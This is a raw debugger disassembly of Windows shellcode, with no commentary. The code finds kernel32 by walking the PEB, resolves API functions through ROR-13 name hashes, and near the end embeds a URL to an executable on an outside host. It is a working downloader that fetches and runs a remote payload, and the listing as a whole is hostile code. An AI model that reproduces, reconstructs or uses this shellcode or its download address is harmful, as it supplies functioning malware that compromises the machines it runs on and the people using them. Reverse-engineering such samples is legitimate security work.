00402361 E8 97010000 CALL shellcod.004024FD 00402366 68 EC97030C PUSH 0C0397EC 0040236B 50 PUSH EAX 0040236C E8 B2010000 CALL shellcod.00402523 00402371 83C4 08 ADD ESP,8 00402374 C3 RETN 00402375 E8 83010000 CALL shellcod.004024FD 0040237A 68 AAFC0D7C PUSH 7C0DFCAA 0040237F 50 PUSH EAX 00402380 E8 9E010000 CALL shellcod.00402523 00402385 83C4 08 ADD ESP,8 00402388 C3 RETN 00402389 E8 6F010000 CALL shellcod.004024FD 0040238E 68 ED56EF36 PUSH 36EF56ED 00402393 50 PUSH EAX 00402394 E8 8A010000 CALL shellcod.00402523 00402399 83C4 08 ADD ESP,8 0040239C C3 RETN 0040239D E8 5B010000 CALL shellcod.004024FD 004023A2 68 F08A045F PUSH 5F048AF0 004023A7 50 PUSH EAX 004023A8 E8 76010000 CALL shellcod.00402523 004023AD 83C4 08 ADD ESP,8 004023B0 C3 RETN 004023B1 E8 F7FEFFFF CALL shellcod.004022AD 004023B6 68 7868DB1C PUSH 1CDB6878 004023BB 50 PUSH EAX 004023BC E8 62010000 CALL shellcod.00402523 004023C1 83C4 08 ADD ESP,8 004023C4 C3 RETN 004023C5 E8 33010000 CALL shellcod.004024FD 004023CA 68 EFCEE060 PUSH 60E0CEEF 004023CF 50 PUSH EAX 004023D0 E8 4E010000 CALL shellcod.00402523 004023D5 83C4 08 ADD ESP,8 004023D8 C3 RETN 004023D9 E8 1F010000 CALL shellcod.004024FD 004023DE 68 B0492DDB PUSH DB2D49B0 004023E3 50 PUSH EAX 004023E4 E8 3A010000 CALL shellcod.00402523 004023E9 83C4 08 ADD ESP,8 004023EC C3 RETN 004023ED E8 36FFFFFF CALL shellcod.00402328 004023F2 68 AB5E9B1E PUSH 1E9B5EAB 004023F7 50 PUSH EAX 004023F8 E8 26010000 CALL shellcod.00402523 004023FD 83C4 08 ADD ESP,8 00402400 C3 RETN 00402401 E8 A7FEFFFF CALL shellcod.004022AD 00402406 68 59978102 PUSH 2819759 0040240B 50 PUSH EAX 0040240C E8 12010000 CALL shellcod.00402523 00402411 83C4 08 ADD ESP,8 00402414 C3 RETN 00402415 E8 E3000000 CALL shellcod.004024FD 0040241A 68 7ED8E273 PUSH 73E2D87E 0040241F 50 PUSH EAX 00402420 E8 FE000000 CALL shellcod.00402523 00402425 83C4 08 ADD ESP,8 00402428 C3 RETN 00402429 E8 CF000000 CALL shellcod.004024FD 0040242E 68 9EF9BB35 PUSH 35BBF99E 00402433 50 PUSH EAX 00402434 E8 EA000000 CALL shellcod.00402523 00402439 83C4 08 ADD ESP,8 0040243C C3 RETN 0040243D E8 92FEFFFF CALL shellcod.004022D4 00402442 68 57A0B5BB PUSH BBB5A057 00402447 50 PUSH EAX 00402448 E8 D6000000 CALL shellcod.00402523 0040244D 83C4 08 ADD ESP,8 00402450 C3 RETN 00402451 E8 7EFEFFFF CALL shellcod.004022D4 00402456 68 1A7A1E02 PUSH 21E7A1A 0040245B 50 PUSH EAX 0040245C E8 C2000000 CALL shellcod.00402523 00402461 83C4 08 ADD ESP,8 00402464 C3 RETN 00402465 E8 6AFEFFFF CALL shellcod.004022D4 0040246A 68 E05B3094 PUSH 94305BE0 0040246F 50 PUSH EAX 00402470 E8 AE000000 CALL shellcod.00402523 00402475 83C4 08 ADD ESP,8 00402478 C3 RETN 00402479 E8 56FEFFFF CALL shellcod.004022D4 0040247E 68 97C9E2A3 PUSH A3E2C997 00402483 50 PUSH EAX 00402484 E8 9A000000 CALL shellcod.00402523 00402489 83C4 08 ADD ESP,8 0040248C C3 RETN 0040248D E8 42FEFFFF CALL shellcod.004022D4 00402492 68 6824C5B3 PUSH B3C52468 00402497 50 PUSH EAX 00402498 E8 86000000 CALL shellcod.00402523 0040249D 83C4 08 ADD ESP,8 004024A0 C3 RETN 004024A1 E8 57000000 CALL shellcod.004024FD 004024A6 68 72FEB316 PUSH 16B3FE72 004024AB 50 PUSH EAX 004024AC E8 72000000 CALL shellcod.00402523 004024B1 83C4 08 ADD ESP,8 004024B4 C3 RETN 004024B5 E8 44FEFFFF CALL shellcod.004022FE 004024BA EB 13 JMP SHORT shellcod.004024CF 004024BC 6A 65 PUSH 65 004024BE 50 PUSH EAX 004024BF E8 F7FBFFFF CALL shellcod.004020BB 004024C4 50 PUSH EAX 004024C5 E8 ABFEFFFF CALL shellcod.00402375 004024CA ^E9 B7FCFFFF JMP shellcod.00402186 004024CF E8 E8FFFFFF CALL shellcod.004024BC 004024D4 C3 RETN 004024D5 E8 A9FDFFFF CALL shellcod.00402283 004024DA 68 4FEF4F05 PUSH 54FEF4F 004024DF 50 PUSH EAX 004024E0 E8 3E000000 CALL shellcod.00402523 004024E5 83C4 08 ADD ESP,8 004024E8 C3 RETN 004024E9 E8 0F000000 CALL shellcod.004024FD 004024EE 68 8E4E0EEC PUSH EC0E4E8E 004024F3 50 PUSH EAX 004024F4 E8 2A000000 CALL shellcod.00402523 004024F9 83C4 08 ADD ESP,8 004024FC C3 RETN 004024FD 33C0 XOR EAX,EAX 004024FF 64:8B40 30 MOV EAX,DWORD PTR FS:[EAX+30] 00402503 85C0 TEST EAX,EAX 00402505 78 10 JS SHORT shellcod.00402517 00402507 3E:8B40 0C MOV EAX,DWORD PTR DS:[EAX+C] 0040250B 3E:8B70 1C MOV ESI,DWORD PTR DS:[EAX+1C] 0040250F AD LODS DWORD PTR DS:[ESI] 00402510 3E:8B40 08 MOV EAX,DWORD PTR DS:[EAX+8] 00402514 C3 RETN 00402515 EB 0B JMP SHORT shellcod.00402522 00402517 3E:8B40 34 MOV EAX,DWORD PTR DS:[EAX+34] 0040251B 83C0 7C ADD EAX,7C 0040251E 3E:8B40 3C MOV EAX,DWORD PTR DS:[EAX+3C] 00402522 C3 RETN 00402523 60 PUSHAD 00402524 36:8B6C24 24 MOV EBP,DWORD PTR SS:[ESP+24] 00402529 36:8B45 3C MOV EAX,DWORD PTR SS:[EBP+3C] 0040252D 36:8B5405 78 MOV EDX,DWORD PTR SS:[EBP+EAX+78] 00402532 03D5 ADD EDX,EBP 00402534 3E:8B4A 18 MOV ECX,DWORD PTR DS:[EDX+18] 00402538 3E:8B5A 20 MOV EBX,DWORD PTR DS:[EDX+20] 0040253C 03DD ADD EBX,EBP 0040253E E3 3B JECXZ SHORT shellcod.0040257B 00402540 49 DEC ECX 00402541 3E:8B348B MOV ESI,DWORD PTR DS:[EBX+ECX*4] 00402545 03F5 ADD ESI,EBP 00402547 33FF XOR EDI,EDI 00402549 33C0 XOR EAX,EAX 0040254B FC CLD 0040254C AC LODS BYTE PTR DS:[ESI] 0040254D 84C0 TEST AL,AL 0040254F 74 07 JE SHORT shellcod.00402558 00402551 C1CF 0D ROR EDI,0D 00402554 03F8 ADD EDI,EAX 00402556 ^EB F4 JMP SHORT shellcod.0040254C 00402558 36:3B7C24 28 CMP EDI,DWORD PTR SS:[ESP+28] 0040255D ^75 DF JNZ SHORT shellcod.0040253E 0040255F 3E:8B5A 24 MOV EBX,DWORD PTR DS:[EDX+24] 00402563 03DD ADD EBX,EBP 00402565 66:3E:8B0C4B MOV CX,WORD PTR DS:[EBX+ECX*2] 0040256A 3E:8B5A 1C MOV EBX,DWORD PTR DS:[EDX+1C] 0040256E 03DD ADD EBX,EBP 00402570 3E:8B048B MOV EAX,DWORD PTR DS:[EBX+ECX*4] 00402574 03C5 ADD EAX,EBP 00402576 36:894424 1C MOV DWORD PTR SS:[ESP+1C],EAX 0040257B 61 POPAD 0040257C C3 RETN 0040257D E8 66FBFFFF CALL shellcod.004020E8 00402582 68 7474703A PUSH 3A707474 00402587 2F DAS 00402588 2F DAS 00402589 77 77 JA SHORT shellcod.00402602 0040258B 77 2E JA SHORT shellcod.004025BB 0040258D 6261 69 BOUND ESP,QWORD PTR DS:[ECX+69] 00402590 6B65 63 2E IMUL ESP,DWORD PTR SS:[EBP+63],2E 00402594 636E 2F ARPL WORD PTR DS:[ESI+2F],BP 00402597 64:6F OUTS DX,DWORD PTR ES:[EDI] ; I/O command 00402599 77 6E JA SHORT shellcod.00402609 0040259B 2F DAS 0040259C 6B6F 2E 65 IMUL EBP,DWORD PTR DS:[EDI+2E],65 004025A0 78 65 JS SHORT shellcod.00402607 004025A2 0000 ADD BYTE PTR DS:[EAX],AL 004025A4 0000 ADD BYTE PTR DS:[EAX],AL 004025A6 0000 ADD BYTE PTR DS:[EAX],AL 004025A8 0000 ADD BYTE PTR DS:[EAX],AL 004025AA 0000 ADD BYTE PTR DS:[EAX],AL 004025AC 0000 ADD BYTE PTR DS:[EAX],AL 004025AE 0000 ADD BYTE PTR DS:[EAX],AL 004025B0 0000 ADD BYTE PTR DS:[EAX],AL 004025B2 0000 ADD BYTE PTR DS:[EAX],AL 004025B4 0000 ADD BYTE PTR DS:[EAX],AL 004025B6 0000 ADD BYTE PTR DS:[EAX],AL 004025B8 0000 ADD BYTE PTR DS:[EAX],AL 004025BA 0000 ADD BYTE PTR DS:[EAX],AL 004025BC 0000 ADD BYTE PTR DS:[EAX],AL 004025BE 0000 ADD BYTE PTR DS:[EAX],AL 004025C0 0021 ADD BYTE PTR DS:[ECX],AH